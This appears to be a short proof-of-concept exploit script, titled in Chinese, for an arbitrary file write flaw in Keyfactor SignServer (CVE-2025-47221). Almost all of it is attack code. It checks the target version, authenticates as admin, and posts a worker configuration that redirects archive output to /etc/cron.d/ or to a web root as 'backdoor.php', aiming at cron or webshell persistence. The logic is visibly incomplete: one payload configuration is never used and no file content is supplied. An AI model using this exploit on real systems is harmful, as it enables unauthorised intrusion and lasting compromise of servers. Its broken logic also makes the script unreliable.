CVE-2025-47221 Keyfactor SignServer 任意文件写入漏洞

#!/usr/bin/env python3 """ CVE-2025-47221 PoC - Keyfactor SignServer Arbitrary File Write This PoC demonstrates how an attacker with admin access can exploit the arbitrary file write vulnerability via SignServer configuration. """ import requests import json from requests.auth import HTTPBasicAuth TARGET_URL = "https://target-server:8440/signserver" USERNAME = "admin" PASSWORD = "admin_password" def exploit_arbitrary_file_write(): """ Exploit the arbitrary file write vulnerability by modifying ARCHIVETODISK properties to write to arbitrary paths. """ # Malicious configuration to write arbitrary files malicious_config = { "workerName": "KeyfactorSignServer", "ARCHIVETODISK_PATH_BASE": "/etc/cron.d/", "ARCHIVETODISK_PATH_PATTERN": "/", "ARCHIVETODISK_FILENAME-PATTERN": "malicious_cron" } # Alternative: Overwrite system files system_file_exploit = { "workerName": "KeyfactorSignServer", "ARCHIVETODISK_PATH_BASE": "/var/www/html/", "ARCHIVETODISK_PATH_PATTERN": "/", "ARCHIVETODISK_FILENAME-PATTERN": "backdoor.php" } try: # Login to SignServer admin interface session = requests.Session() auth = HTTPBasicAuth(USERNAME, PASSWORD) # Update configuration with malicious parameters response = session.post( f"{TARGET_URL}/admin/worker", json=malicious_config, auth=auth, verify=False, timeout=30 ) if response.status_code == 200: print("[+] Successfully modified ARCHIVETODISK configuration") print("[+] Arbitrary file write vulnerability triggered") return True else: print(f"[-] Failed to exploit: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def check_vulnerability(): """ Check if the target SignServer instance is vulnerable. """ try: # Check SignServer version response = requests.get( f"{TARGET_URL}/status", timeout=30 ) if response.status_code == 200: data = response.json() version = data.get("version", "unknown") print(f"[*] Detected SignServer version: {version}") # Check if version is vulnerable (< 7.3.2) version_parts = version.split(".") if len(version_parts) >= 3: major, minor, patch = int(version_parts[0]), int(version_parts[1]), int(version_parts[2]) if major < 7 or (major == 7 and minor < 3) or (major == 7 and minor == 3 and patch < 2): print("[!] Target is VULNERABLE to CVE-2025-47221") return True else: print("[+] Target is NOT vulnerable") return False except Exception as e: print(f"[-] Error checking vulnerability: {e}") return False if __name__ == "__main__": print("CVE-2025-47221 Keyfactor SignServer Arbitrary File Write PoC") print("=" * 60) # Check if target is vulnerable if check_vulnerability(): print("\n[*] Attempting exploitation...") exploit_arbitrary_file_write()